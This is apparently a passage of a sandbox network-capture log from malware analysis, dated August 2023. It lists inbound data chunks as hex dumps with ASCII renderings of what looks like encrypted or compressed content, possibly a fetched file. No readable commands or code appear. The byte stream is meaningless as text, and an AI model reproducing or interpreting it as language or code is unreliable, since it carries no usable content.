23 87 f1 e8 1a 48 0e a2 ee 43 49 e2 5b dd a3 14 9f 91 92 1a 82 07 cb bd 62 64 d3 47 79 7f 69 2e 51 af 41 Data Ascii: HNtV(OWVy0O]/'&RvoBWG'#{>~(y&&a(;JC]JhIm,"Id^fLg3E1RQf{}mmNZRF%8(7VGYwXXO>gq+}$%Q'&beV-$x#HCI[bdGyi.QA
2023-08-13 06:43:42 UTC	819	IN	Data Raw: 79 16 38 3c 10 47 0f 6b 67 38 7a df d2 17 8c e8 1a 2c 14 43 f4 37 81 f6 af aa f4 42 91 f1 b3 61 11 a4 cc f3 24 60 d9 06 bf f9 e8 de 3a 3d e8 f2 99 67 5c 7b cc 09 46 a4 38 c3 e4 d5 9d 61 06 f8 61 37 4f cc 89 47 af 18 b4 ab 87 e4 94 4f 9f 7b ce 05 99 07 fa f5 61 52 5c 04 9a 10 b0 2b 9c 2c 85 0c ac 8f 52 04 bc e0 3d e7 cd 8f fc 92 4a 17 42 5e 0c e4 cb db 20 cc 7d 4e 32 71 f1 eb 44 a3 0d 4b bc c8 ed f0 ce 16 b2 2d 27 4b 9c bf bd 4c 93 d4 c0 64 35 ba d7 bc 37 ed f3 8f 15 a1 58 b8 c4 80 6b d8 93 9c 3d 18 6e 28 4e 50 2c 19 43 98 32 49 47 8f 5d 9a fe 42 61 c4 d9 c2 88 09 d3 ba 46 2c de ff aa cc 40 5c 1b 31 d9 5c d6 8b c7 26 e1 08 58 69 70 64 ca 10 8a 86 67 13 1d 3d c6 c3 f0 2c 0b f6 d4 a2 a3 09 43 15 f4 a8 a6 2e 3c e1 77 6e 73 a1 19 19 90 67 46 3b be 3e 23 29 35 Data Ascii: y8<Gkg8z,C7Ba$`:=g\{F8aa7OGO{aR\+,R=JB^ }N2qDK-'KLd57Xk=n(NP,C2IG]BaF,@\1\&Xipdg=,C.<wnsgF;>#)5
2023-08-13 06:43:42 UTC	835	IN	Data Raw: 58 61 3e e2 3d 74 e2 aa c9 e2 11 3b f7 56 7e 0a 25 e8 5c 3f 92 9a 87 83 10 0b 73 91 1d 4d e2 d1 f6 7f 8d 3f 8f 2c 64 66 b9 ad 5e ed 7a f7 b9 b6 60 c4 98 44 a5 ac ed eb 19 dc c2 5e 22 bc b9 7a 17 f3 88 41 be e2 2f 61 42 29 dd d4 99 02 7a 3c 29 38 89 c4 c0 2f 20 5d 33 9b 84 aa c2 4c 54 b7 ca 65 ee 90 88 ed 55 ac 32 19 5a b2 0f ea e2 bb 02 2e 89 40 23 f7 33 d0 b6 0b 40 71 a7 b4 a8 a1 88 0b 78 0c 13 4e 6f 60 7d 87 4a 2d 52 de 7c d5 7a b7 45 ad 30 73 a9 7a dd 8f bc 8a 78 bb 28 75 1b 79 b0 57 fb b0 bd f2 21 bd 3e 8c b4 03 76 b7 16 0b 55 4c b5 af fa 37 fe e8 a3 2c c2 99 86 e4 d3 34 3e 37 69 25 f4 09 34 83 85 78 16 2e be 68 a6 eb 74 4b 87 26 37 bd 9f 5c 02 a3 79 76 18 9d f9 5a 2f a4 30 1a c2 27 ff 37 fa 55 7e 58 ef 05 47 5a c8 1b fc 83 e2 f2 7f fa f8 c3 50 a7 8d Data Ascii: Xa>=t;V~%\?sM?,df^z`D^"zA/aB)z<)8/ ]3LTeU2Z.@#3@qxNo`}J-R\|zE0szx(uyW!>vUL7,4>7i%4x.htK&7\yvZ/0'7U~XGZP
2023-08-13 06:43:42 UTC	851	IN	Data Raw: 62 d7 4e b6 ac 51 48 12 09 6d 9b c6 be 47 bf 55 d5 60 56 ff 69 7a 9b ce a7 6f ce f3 89 ae 82 22 3c 85 20 f7 18 ad 24 6e 05 03 52 8e 77 42 3e 59 23 53 bc fb 05 b3 c8 6e 3b a9 43 54 a9 ec 91 28 9d 29 f8 3c 90 54 e4 2d a4 4d 13 6b 56 d1 43 21 40 35 a3 be 56 5d 5e a0 0b 27 15 af 56 80 59 73 a2 bf 4c 61 8c 53 73 ce f9 a4 c2 73 34 25 bd 68 65 3c 74 18 6a 73 c0 c3 7c e5 83 ff 35 e3 00 4e f6 25 85 08 52 a5 92 f0 4e b5 b9 3f 78 68 a1 20 eb 84 a4 83 a9 57 c2 ea 5d a1 1c 67 e2 bd a3 01 25 f0 e6 7e 6a 7e 0c 9d a7 fb 62 29 d4 0a 9d 7f c8 15 4a 1d f7 b1 bc 09 db f0 d2 ff d2 40 76 13 81 03 9d da fe 8c 6c 29 94 13 43 41 33 a8 11 e2 f2 09 ad 3e b9 3d 90 9f 09 9a 34 e9 44 b4 6a b1 45 af 0d 5b c6 f1 8f 1e 0e 3a 1d 5f 0c 9b 13 bc 11 a3 15 74 c8 14 24 dc 6e 68 c4 49 8b 86 26 Data Ascii: bNQHmGU`Vizo"< $nRwB>Y#Sn;CT()<T-MkVC!@5V]^'VYsLaSss4%he<tjs\|5N%RN?xh W]g%~j~b)J@vl)CA3>=4DjE[:_t$nhI&
2023-08-13 06:43:42 UTC	867	IN	Data Raw: 23 4c cc c8 db a0 a6 58 ed 7e 65 e3 d7 6f a1 ec 97 ab 31 55 55 69 85 2a 76 74 bc 84 7d 3e da e6 83 9d 69 34 a5 04 3e 45 e0 10 e4 3a 06 10 62 a7 c9 0f f0 f7 86 c2 01 ce bd e4 c9 09 3a 3c 78 bf c2 42 74 91 f1 fb ae 8d df 3e 1b 81 b0 ad e1 53 ec 19 65 bf a3 9e d8 05 83 5b 9e 81 98 93 8a 1e e6 c9 b7 2f ba 6b 8a b5 69 17 0b 56 ba 6b ca db 77 47 3f f6 a8 b9 3f e8 57 0b 6b 04 fa b8 5f 2a 08 85 07 b2 8e d7 de b8 44 4a 3d b7 54 36 dd 9d 9d ae 2b ff 7b 20 0d 0b ba 67 46 e8 80 fb 12 8c 75 48 16 b0 1f 69 cd 72 61 9b 98 5b 4d 92 85 c7 91 59 04 43 73 b5 68 b0 44 1c 4e 11 6c 17 b4 74 cd 2e dd 8a 6d 99 89 54 92 ff 07 da 4c 15 57 3b 05 36 04 ae 0b be 73 79 21 22 81 2b 2c 48 60 49 41 8d 36 e2 f5 d2 c7 c2 0a 23 62 76 cc 22 38 90 52 0f 8b 59 9f fc 26 98 8c ca bc c0 2e 8d 7b Data Ascii: #LX~eo1UUivt}>i4>E:b:<xBt>Se[/kiVkwG??Wk_DJ=T6+{ gFuHira[MYCshDNlt.mTLW;6sy!"+,H`IA6#bv"8RY&.{
2023-08-13 06:43:42 UTC	883	IN	Data Raw: ad 27 cd 32 bb f3 fa cb 19 b3 df ee 54 31 90 cb bb 1a 00 35 9d c8 27 d6 d4 d5 13 fb 97 17 f3 38 fb f9 89 62 2e dc fa 64 0a 84 17 3d 41 56 2f 8c 10 2d 02 69 05 5b 76 42 58 19 d4 c9 d7 1d b3 e5 00 a3 d4 37 ca b9 e0 98 60 2f e9 19 f7 6e 46 16 de 51 93 53 47 f2 9b f9 35 a4 b1 09 14 5e ec 1f da 4c 9f 33 44 58 ea 9c cf 67 0a 95 32 ce 7a 1e bb c7 d7 cf 6a 46 de 76 53 b3 af 7e e0 73 d6 e8 80 bc a8 42 da b6 39 4f bf 64 af 88 52 57 ba 45 a2 20 db d4 ca 62 3f 10 85 5a 6c 02 51 4d 72 17 9b 84 84 e4 72 98 c3 0f 02 e2 ef 7c 41 e7 d5 90 75 61 ef 0e 21 5c 13 c2 37 d2 0f cd f0 ca 03 f6 e1 a2 3a a8 af 05 b6 6e 57 16 86 54 5b 38 c4 11 ef c6 33 d7 d9 8f fc 6b de f2 59 7e 1a d4 67 21 0b 19 f6 dc 22 05 88 8e be 7b ff 44 7e 49 ae 92 b6 28 80 f7 a8 3f 6d 1a 2b c8 bf aa 66 19 2f Data Ascii: '2T15'8b.d=AV/-i[vBX7`/nFQSG5^L3DXg2zjFvS~sB9OdRWE b?ZlQMrr\|Aua!\7:nWT[83kY~g!"{D~I(?m+f/
2023-08-13 06:43:42 UTC	899	IN	Data Raw: dd b3 98 82 15 9f cd d9 87 e9 c6 18 9f c9 c6 2b ee b9 16 d6 13 c3 ad c0 49 67 76 9d 0f a8 93 87 90 e1 39 ec c8 0b 23 2b c6 9d a7 6b 7b 11 a2 af 42 e5 b4 d7 31 d0 ea 7f 5e 3b b6 be 2b b6 a5 39 b0 22 23 aa 18 d9 57 55 41 18 05 b8 42 37 1f d0 93 bd d8 86 2c 00 34 b1 2f 5b 9f ca fb 43 e4 5e fc f3 ce 93 d3 82 46 ae b7 55 64 e4 c8 0e 96 1b e5 57 93 74 ad 5f b3 b3 d5 b4 ba a6 93 d9 1c 4f c0 33 2f 9e 00 70 18 64 fe 57 2f 55 ed 5b 11 f3 a3 cc e1 17 2a c3 84 73 b1 2f 78 66 0d 10 75 e7 a3 11 fa 2f cb ef 3f dd a8 34 fb 75 f0 0e 3b 72 88 62 67 9c 2e 3c 16 60 3a ea b2 65 c1 7c f2 9e 6c f9 fd b4 35 a6 bc 0a d8 90 a0 0f 60 fb ad 33 f1 73 31 79 69 2a 04 b7 ac 8b 92 6f 3c cc 4f d6 4f 2f 7c 2a bb d3 85 19 59 92 3b d1 74 9f 11 af d2 49 04 89 6b 89 7a 74 1d af 73 41 7c 65 54 Data Ascii: +Igv9#+k{B1^;+9"#WUAB7,4/[C^FUdWt_O3/pdW/U[s/xfu/?4u;rbg.<`:e\|l5`3s1yio<OO/\|*Y;tIkztsA\|eT
2023-08-13 06:43:42 UTC	915	IN	Data Raw: 12 1f ea bd a6 b1 92 ad 2e 9a e6 70 88 a8 df 64 67 01 d4 b9 c5 7f 6a ec d5 cc ad a2 b8 71 0f 3c 01 37 d3 cb a3 b7 97 10 f7 fe 1d 7c 47 a2 54 66 16 06 d6 f7 78 24 5d 27 1a a3 46 9b 7d 47 22 60 19 7d 93 b4 29 9c e2 ea 80 51 90 32 5c 2d 48 a2 36 8e b9 ac 7a d8 d0 3c c0 94 ba 13 3d 79 6e 2e ff bd 69 b8 45 04 26 3d 1d 05 ba cc bf 51 8c b2 9c 03 da fe d8 10 f5 0c 16 95 dd f4 6e 89 2a e6 2a 90 1b 12 44 33 8f 7c 1a c5 7b 7d b6 74 89 5b 57 d0 d6 b4 b2 89 91 3f eb c0 5a a1 64 56 a5 ca 77 6a 1a c0 c9 e2 e2 1d b0 1f 5a 45 ca f8 b7 69 02 1e 5b 8e 50 6e 8f 70 d3 a0 78 6c 11 e9 98 b9 9b cb 81 a7 be 17 84 e3 11 01 1e 2a fb 29 b6 e6 b7 ec 21 52 67 43 c8 c6 85 85 b9 25 15 63 c1 51 3e 55 f5 f9 21 f1 5a a1 cb 89 c1 77 a8 7a aa e0 00 c3 c1 59 48 c2 80 34 79 b0 d9 0b 6c fe 39 Data Ascii: .pdgjq<7\|GTfx$]'F}G"`})Q2\-H6z<=yn.iE&=Qn*D3\|{}t[W?ZdVwjZEi[Pnpxl)!RgC%cQ>U!ZwzYH4yl9
2023-08-13 06:43:42 UTC	931	IN	Data Raw: 75 cd eb c3 81 00 8e a3 27 f5 f2 a0 c9 4a 51 d6 22 3d 31 05 ec 7e a7 26 92 d7 c6 4f 5a 44 9e 23 54 e1 5a fe 86 67 db 59 10 60 d1 b7 97 9a 1d f7 6d 2e 66 3a 77 8d 58 73 62 2c 3e bd e8 85 78 0a ec b2 51 9b 15 47 d0 95 27 e8 8d 19 15 bb 33 8c 39 97 e1 c9 91 25 cb c9 d1 dc 3e 0c 16 e9 a9 ef 2b 96 69 0a d8 92 8a ec 79 81 63 66 23 0e 0a 49 a0 6a 2f 3c d9 ae 57 65 24 23 1a ef 58 3a de 50 e7 d7 10 01 fa 43 b5 93 c8 57 10 1a ec 7d 76 82 22 f5 1b 02 e3 91 d2 28 e7 de b7 2f 8b a0 33 05 6b ca 5a 5d 3b 53 2d 32 5c a2 7b 51 fb 0c 4d 93 8f 79 05 89 c5 cd 1f 79 2c f9 e5 4e 4f fb 3b 9c 0c 71 24 51 78 1a 6e bf 8d 5c 52 a5 06 65 a9 c1 19 ed d3 27 34 cb c1 a4 b9 b9 3e fd d7 c0 04 36 ee 1e 4a f5 80 44 68 67 3d 60 64 06 9a 5a ff d9 72 b8 07 ba 61 58 e6 75 da 36 68 5d ad 9b f1 Data Ascii: u'JQ"=1~&OZD#TZgY`m.f:wXsb,>xQG'39%>+iycf#Ij/<We$#X:PCW}v"(/3kZ];S-2\{QMyy,NO;q$Qxn\Re'4>6JDhg=`dZraXu6h]
2023-08-13 06:43:42 UTC	947	IN	Data Raw: d3 70 f9 4e c5 ac 58 5a 5a 16 a2 b3 cd 8b f7 fa ef fe f3 16 40 ef b4 0b 2f 9b 27 98 9a a1 50 48 e0 81 31 22 92 55 ab 35 49 52 53 30 02 ea 51 20 1d 18 52 58 4b b1 4e dd 65 10 ba 44 08 c9 c2 ec ed d5 9e 83 ba 1e b2 72 69 36 f4 04 f2 74 99 21 ca ea 0a c9 7f 87 fc c2 53 0e 89 60 a7 2e 4f 05 7e 9a 9e 61 39 3f 4a b1 43 f1 62 fc ea f7 e5 f8 f2 9c 59 3e 37 8c 8d 2b 0a 4c 10 23 5e 53 51 78 b9 29 5a d2 0e 48 13 2d f7 33 c8 44 77 9a 45 64 db fb ad d6 42 e1 65 16 18 c7 9a 00 96 18 43 f6 86 17 4b 5e 74 e9 a8 67 e2 49 99 1a 1b 2a 16 fa 8e 6e f9 d3 4b 0a af 5c 64 9a 83 7b d4 6e 2a b8 b6 81 eb 0e 39 7a 5b 3e 35 5f 0c db 63 8b 49 f6 99 5f 42 e0 68 63 59 d9 2a b4 45 bc dc 93 7a f5 57 41 af 3f dd a1 6c d8 c1 19 ea b9 ea 45 e3 a5 c8 7e c7 6e 73 a7 fe f6 ba 81 9e 67 24 c5 b8 Data Ascii: pNXZZ@/'PH1"U5IRS0Q RXKNeDri6t!S`.O~a9?JCbY>7+L#^SQx)ZH-3DwEdBeCK^tgInK\d{n9z[>5_cI_BhcY*EzWA?lE~nsg$
2023-08-13 06:43:42 UTC	963	IN	Data Raw: 10 23 fb cd b5 ac ca f5 52 b1 1e 29 4b 53 ea a2 54 33 eb 08 67 21 d7 d4 d0 16 a2 f2 aa 37 3c 3f 90 a2 cb 38 60 37 43 1d d4 09 a8 1e 92 11 fa 97 80 e0 60 b4 ec dd 04 8b f3 9e 3f e1 96 a2 55 72 44 83 a2 aa 12 ff ab ae 7a 88 43 d3 d2 dd 27 29 da e0 30 42 f1 45 5d e3 2b 4b 50 13 8c 10 41 de 29 27 ed b1 09 fe 70 54 05 75 88 75 66 f2 ed 02 53 ab 78 17 ad 7c 0c e1 5e 75 e9 02 7d 52 68 2a c0 ce b9 3b 0d c9 cd 7f 3d 66 c7 a5 79 6c 16 3b f1 d4 30 39 b6 a5 8a dd cc 3c 1d 41 51 a9 33 7c 76 d7 2e f0 42 b7 b3 79 0c 82 c4 cb 33 56 d0 7c 78 9d 8c e4 48 21 5f 53 0a df ff 21 96 8f 77 4a 04 37 f8 1c 5f 10 f3 03 ad 66 7c ad 80 d6 df 8c 7e 26 e8 fe 59 6a a6 61 77 1a bf c6 3c cb b4 3a e6 31 a9 8c 12 a3 86 3a e6 be a4 04 65 24 9e 28 3a 21 3c c0 b6 15 b3 80 e0 08 fd 5a 72 6c b7 Data Ascii: #R)KST3g!7<?8`7C`?UrDzC')0BE]+KPA)'pTuufSx\|^u}Rh*;=fyl;09<AQ3\|v.By3V\|xH!_S!wJ7_f\|~&Yjaw<:1:e$(:!<Zrl
2023-08-13 06:43:42 UTC	979	IN	Data Raw: 32 63 4e c6 1b 6a 62 c4 96 11 26 2b 12 8d 48 5d bd fb 0e 5a c5 87 47 ce 34 7d 9f f4 91 42 58 d1 dd 10 dc 45 1a 44 87 8d 75 83 06 c9 0a 8b 15 a2 0f 0d 26 6b 89 5f e3 66 f9 16 fe 26 6c 3b 0b 7f 20 56 ff 05 71 20 e7 23 23 6c 3d c2 e6 b5 71 0d a0 1d 8e 4a 70 2f 9c 86 92 34 7c dd 3d ed 9f 37 ef 34 07 bf 88 f2 13 98 48 66 21 15 08 77 c7 89 94 cb e0 8c 63 dd 73 ce 74 99 a4 34 52 aa e3 9f a8 8c 70 0f c8 7a b3 74 ea 50 66 19 cc f3 64 e3 ca 58 5e 44 fe 1a 93 aa ed 4e a7 a6 b7 fd 31 da 88 f5 bb 14 78 14 ca 1c ad 6b 1f 5e 93 07 0d d9 d4 b3 a6 ad 87 12 a4 50 13 35 ef a7 4d ac 12 93 fd 48 38 49 43 b8 3a d8 39 99 fc da ff 84 9c d3 b9 e3 7f 46 ea 6b aa 1a 95 1f 7e b7 d5 98 87 b4 06 9c d7 30 f5 7f 27 c4 2b 40 19 b5 f4 71 30 d4 40 1c ba 60 94 08 b8 21 4a a3 0b 2a 70 66 53 Data Ascii: 2cNjb&+H]ZG4}BXEDu&k_f&l; Vq ##l=qJp/4\|=74Hf!wcst4RpztPfdX^DN1xk^P5MH8IC:9Fk~0'+@q0@`!J*pfS
2023-08-13 06:43:42 UTC	995	IN	Data Raw: 76 59 b1 4e db 48 a2 de 46 20 b2 7a f9 77 83 14 47 aa 77 8c 01 25 e7 75 8d e6 3d d6 82 63 0b 77 24 49 81 de 32 16 1f f2 60 ac 03 e2 a9 55 b9 5a fa b0 8f 5b 15 59 5a e9 34 5c 88 f2 02 0e 7c a3 3f df 64 35 ad 9a 64 28 84 1b 2f 91 3d 5c 28 93 fa 34 12 58 86 bc 3f 60 2d f0 f1 fd 7e 55 4f 03 36 2a c4 39 53 30 c8 89 6e 79 6f df 9a 1b dd 94 00 48 b4 cb 31 3e 76 13 36 4e 46 30 a3 2c 6f 2c ce 69 38 02 42 38 f5 20 09 d0 ca 68 dc 30 d9 d0 55 0e 2a 46 0c 83 b2 8d f9 e1 f6 76 4e b9 20 3f ff 65 18 e3 c8 d7 3c 1c 3e 2a 32 b0 2e 63 e5 8b 79 83 8f 72 b4 39 74 f1 44 ec ad be 1c 64 b1 e7 54 ac 83 c2 7f 2b 39 34 27 27 3f 26 e2 87 29 ad 54 33 62 13 64 1a a1 ba 26 e1 5d e1 a8 be bc 8f cc 91 c4 c8 25 3f b9 b9 a6 ff 3e 6d 05 2a ce a1 c4 51 d9 b0 1c ba 97 4d 54 81 69 50 c2 3a 91 Data Ascii: vYNHF zwGw%u=cw$I2`UZ[YZ4\\|?d5d(/=\(4X?`-~UO69S0nyoH1>v6NF0,o,i8B8 h0UFvN ?e<>2.cyr9tDdT+94''?&)T3bd&]%?>mQMTiP:
2023-08-13 06:43:42 UTC	1011	IN	Data Raw: 1c 8f 0c 62 b3 11 10 8a fe e7 9a fe ed 5a bd a5 cb 4e 52 7d 1a c0 d8 35 2b fe ca da 46 6e 68 e0 2c 78 bf 17 1e b7 7b 8b 6b bc 82 5a b5 4a 72 c4 ec 17 92 0e 59 3c 6f e5 ef 6c 7f 33 5b 4a a4 46 3b eb 4a 7c b1 c6 f1 0e a9 10 8d 93 9f 75 6a 62 3c ed 1f 29 f0 c7 31 fd ae 33 7f 64 dd d5 42 d5 36 46 79 41 78 ca 85 36 7a 78 7d f2 51 9e 74 4c 31 69 30 2e 07 ae e0 fa d5 46 a8 51 5b 53 e7 6b 24 51 54 0b f3 0f ce 6e c0 a4 6b c5 a4 88 76 39 41 27 4a c7 d3 8b 37 b8 53 c7 bc 92 f9 41 eb d0 48 3c e1 2f c5 0c 25 7b 19 d1 f1 89 7a 42 5b 77 04 7b ad bd cb f9 62 0b 89 22 b6 d2 cb b3 26 b3 40 9d 11 c5 a4 66 ff ea 48 fb ef 98 c3 24 52 f6 e5 41 90 75 81 09 06 ad 88 5c db b1 97 99 53 39 04 ec d7 c6 d5 97 65 14 7d bb 51 64 42 a6 b4 9f 31 7a 0e 5b b2 77 9e 71 d2 0a 48 ee fd 6c a6 Data Ascii: bZNR}5+Fnh,x{kZJrY<ol3[JF;J\|ujb<)13dB6FyAx6zx}QtL1i0.FQ[Sk$QTnkv9A'J7SAH</%{zB[w{b"&@fH$RAu\S9e}QdB1z[wqHl
2023-08-13 06:43:43 UTC	1027	IN	Data Raw: f2 61 89 58 0b 05 b5 6e c3 02 ce c9 d3 2a 6d be ed fc 81 d8 f9 6c 65 3e 49 d4 80 6d 2a f0 5b 14 14 06 c9 b9 73 50 74 fc 84 d5 ee 1d 83 31 c6 1c 34 86 ee 3b 4d e2 5f 34 58 15 ad b3 fa 69 0d 35 96 0e 54 c6 27 ae 23 fb 00 79 43 3a c8 9c 15 12 ca f5 33 4f ea 3d b6 70 ea ce 44 b6 84 aa 2a e5 8e 6a a9 7d 63 75 46 66 c7 26 c5 e1 e6 f6 5d 13 3c 3d 23 02 90 08 a1 6d 7a af e6 30 fa 73 e7 db f1 88 27 60 e8 11 16 f9 89 72 bf f0 58 89 5c 28 e0 0e c5 44 9e c8 aa 5b 0a 16 bc f3 2e f4 90 d5 be 3c 41 be 4a 76 fd b3 d3 ad 3c ad 23 b3 8d 68 5b 88 15 63 67 ee bc 19 38 50 bd df 1a 3c 40 39 6c 6b 6a 31 16 10 7d 56 1b af ca 88 9d 11 a1 1c 3e 21 64 b8 04 5d 23 70 c7 19 1a 92 62 ce 7e ef 7c bc df 7f b9 84 1f 39 5e f7 84 a7 18 cf d2 69 94 6b 90 94 2e 17 9f 29 86 e2 2a b3 88 50 45 Data Ascii: aXnmle>Im[sPt14;M_4Xi5T'#yC:3O=pDj}cuFf&]<=#mz0s'`rX\(D[.<AJv<#h[cg8P<@9lkj1}V>!d]#pb~\|9^ik.)PE
2023-08-13 06:43:43 UTC	1043	IN	Data Raw: d6 db 36 c8 32 0f a7 75 01 a9 09 af 01 49 ee cf f9 1b c2 c2 3c 73 1d 78 92 89 d6 18 b3 b2 b7 0f 95 33 3d 25 1a 62 c5 d5 e8 f9 4e 62 46 4f f3 4e 3a be 87 ac e3 d9 1a fc f0 24 e9 0f 36 5c bb 9b 9d 53 3c 9d 95 54 88 7c 48 86 f8 13 a9 2e 9d e7 49 35 1e 04 7d 6a 8c be cf 08 cb 50 f2 6c 1a 90 ea 3c d1 4d 69 e5 23 81 1d f9 75 07 b5 5d c5 57 67 f2 51 ad 2e 6b b3 03 3c 43 5d 1e 09 99 d3 6c 72 b4 1e 5c e2 8a 8f a8 f6 9a e7 3d c7 ab 14 3b bc bc 89 6a ab a9 3b b5 aa 7b 3d 53 24 81 cf 79 a2 64 86 c4 84 ac 51 90 84 d0 7d 02 6f 3f d5 de b1 bb e2 fe 69 c2 ee 22 a7 fe 66 38 cd 6c 45 06 0a 5d 19 9c 26 f6 99 32 75 84 5e b3 83 61 4b 63 17 62 82 6d 04 2c fe 74 2a bd 42 64 40 2e b7 8e 2a bb 50 61 7a bc 15 38 20 c2 36 7b 36 72 41 cb e0 0c fc ad f6 f1 91 a9 01 c2 3a 3e 06 67 e4 Data Ascii: 62uI<sx3=%bNbFON:$6\S<T\|H.I5}jPl<Mi#u]WgQ.k<C]lr\=;j;{=S$ydQ}o?i"f8lE]&2u^aKcbm,tBd@.Paz8 6{6rA:>g
2023-08-13 06:43:43 UTC	1059	IN	Data Raw: 4e 8f b5 67 ed 3a fa 91 02 c4 a9 ec 0c c7 d2 98 4d 1e a7 f3 e3 b9 96 51 3c 0a 4f d7 ce 98 88 06 fb 96 8a 4f 88 e2 33 c9 e4 7b fb de 09 36 dd f4 c1 5c 56 a9 af 44 52 e3 ee 6f 37 f5 41 1a eb a6 eb 18 bd 0d eb 5a 9a 11 3f c9 f5 4b 88 a8 0b e3 2b 49 20 ae 06 54 b5 19 79 15 f4 74 68 3f 6b f3 57 e6 61 5a 17 99 5e 3b a2 d0 1d 74 26 66 74 ec 43 5c 75 3c 2f e6 25 7c cf 31 fd 0b 26 b1 6c 04 5b ba e0 40 64 94 6b 2c c5 6a ce 4a fc 1f ab 82 ac 13 c4 6f 47 55 52 d1 e7 28 fd 5d 79 89 e5 ce 40 2d 6f f2 1a b2 58 3a dc a0 78 61 66 b2 c8 f2 42 66 1b 4d 3f 6d 89 9f 8a 9c cb 7d 1a 71 25 57 42 66 7c 31 f2 dc 9d ca 6c ce 5b 56 35 97 8a 6c 5a 2c 41 b6 d9 bd 3f a4 18 c6 35 ac a8 d2 ad ac ff 5a 85 e7 2e 3f c0 40 ee 05 56 9f 28 36 32 d7 44 d0 6f 7a b3 74 c7 24 1a 67 ae e8 b1 69 8b Data Ascii: Ng:MQ<OO3{6\VDRo7AZ?K+I Tyth?kWaZ^;t&ftC\u</%\|1&l[@dk,jJoGUR(]y@-oX:xafBfM?m}q%WBf\|1l[V5lZ,A?5Z.?@V(62Dozt$gi
2023-08-13 06:43:43 UTC	1075	IN	Data Raw: 36 82 f4 38 01 fa 2b 9e a2 09 42 b1 5b 74 23 39 00 e6 94 19 4c b7 9c 51 e3 14 60 ea fb 0a 60 f2 05 19 27 1e 6c 9e 17 d7 71 84 85 a9 db 33 d7 67 4c 69 be c7 1d 77 68 18 28 4f 9d 84 89 df 1c f0 49 bf 6d 00 80 a0 e3 73 0f c6 64 b7 18 4c 01 ed f7 72 e3 8b 02 7b 8b e3 b0 b2 ff ea 55 c3 e9 12 91 a2 b5 ea b0 38 9a bb 3f eb 3a f8 56 a8 81 0b b7 b4 51 95 a7 1d 10 77 7a 9f 09 ba 3f 8e 20 fb 38 b7 29 c5 ce 21 9e 44 91 ac ee ed fc 1e f5 38 b4 b5 9c 58 5c 4a 3b de 95 67 54 1c 96 bc fe 6b a6 5d 5d 9b ec 62 b3 aa 7d 3f 60 46 0c bd ef ae 06 25 bd f4 8d be 6f 36 20 d7 7c bb f2 60 a6 de ff c8 2b 3c c0 6d e2 ec 2a e9 2f e3 b5 8c b8 c4 85 d5 da 7e e9 35 05 eb fc 94 da a7 eb c3 76 2d dd 3b 40 f6 1e b7 47 13 e5 5a 5e fb bb 8f 6a 60 a3 03 4d ff 2e 2f 3d 1e fe 7a 3c 32 29 3f fa Data Ascii: 68+B[t#9LQ``'lq3gLiwh(OImsdLr{U8?:VQwz? 8)!D8X\J;gTk]]b}?`F%o6 \|`+<m*/~5v-;@GZ^j`M./=z<2)?
2023-08-13 06:43:43 UTC	1091	IN	Data Raw: eb 80 86 a6 39 b3 a9 fe fa 9a 07 de 75 22 4d b1 1c 27 ed 72 75 3f 2e fe 08 98 a9 16 f1 66 25 c0 cc aa fb 68 22 d1 1f 8b 90 48 5e 63 02 69 3d c6 58 04 77 64 78 2b 9e 97 35 2c 7f 5e 74 e4 69 d8 8f 39 ae 5b a7 0c 08 e7 16 70 df 51 34 1d 4d 53 b7 ba 09 78 9d 0a 4a d8 71 34 9a 83 dc fb 96 52 fd 96 fa 5e 45 57 08 9f df 12 5e 64 d0 db 96 0a 2e 8f 8f a9 b5 81 15 59 0d 64 8b ca e7 44 30 60 26 16 4c 73 30 40 28 c1 97 96 7f 8d 8f 8e 7b 72 09 d3 4c 8b 6e 06 fb b6 13 f7 38 17 f0 0e 7d 42 6b 74 33 b5 b9 e9 25 17 59 06 46 09 77 48 bd 39 03 d1 75 fc 94 dd 12 59 28 a9 c3 ef 80 d7 7c 1d c7 c2 ed 96 25 21 96 10 98 66 e0 cd 9a 17 6b 26 6d 79 22 7b d0 69 bd 2b 86 8e a8 e6 6b df 1e ea cd 5a 59 0d 64 d2 93 a1 69 5c 4d ee 78 8f 76 ae 3e ce 26 8e 9c 34 4b 84 23 89 07 98 9a 37 ac Data Ascii: 9u"M'ru?.f%h"H^ci=Xwdx+5,^ti9[pQ4MSxJq4R^EW^d.YdD0`&Ls0@({rLn8}Bkt3%YFwH9uY(\|%!fk&my"{i+kZYdi\Mxv>&4K#7
2023-08-13 06:43:43 UTC	1107	IN	Data Raw: e8 b6 dd 4f b4 21 89 26 42 da 3e 19 00 ae c1 54 92 e6 a9 ef b7 5d 8d 41 c1 b3 67 5d e0 76 24 28 95 46 7c be 46 f6 7a 04 41 ce f6 c4 c0 18 b7 b4 b5 cd de c1 b4 28 0f d9 92 a1 eb b8 21 de 0f c3 26 1c 74 0d 45 a8 c7 8b 11 da 5a b8 0a fd 37 93 1a c8 cd c2 6d 0e 7d ad cd f0 f5 93 ba a7 fd 09 55 a3 02 39 41 8a 1d be b2 80 65 30 98 0b ef 95 cb 61 ee d3 1c 64 09 a2 31 24 f7 b7 bd fb c9 7b 7d 10 ad 93 b0 76 10 3b b8 45 da 74 84 4b 61 8f 19 5f dc db e0 d5 db 8e 02 cc 8a 3b 8d 4f 46 2a 8e d7 79 fd e3 12 2c cb b0 32 2f 84 dd 63 a9 6e c7 f0 d2 44 1b 63 16 f2 75 1c fe 9d 9c 1b 57 dc 46 f9 29 93 38 fc 76 1c 47 e7 9b 06 ee d1 b7 27 04 21 98 c7 94 f9 a6 1e 78 ef a1 da 66 e5 1a fe 99 cb 1c 27 e3 9b 9b 99 8b 25 a0 db db 20 b0 6d e6 0f 20 a5 a2 39 d6 8a 2c c2 41 d0 fd 4d 0d Data Ascii: O!&B>T]Ag]v$(F\|FzA(!&tEZ7m}U9Ae0ad1${}v;EtKa_;OF*y,2/cnDcuWF)8vG'!xf'% m 9,AM
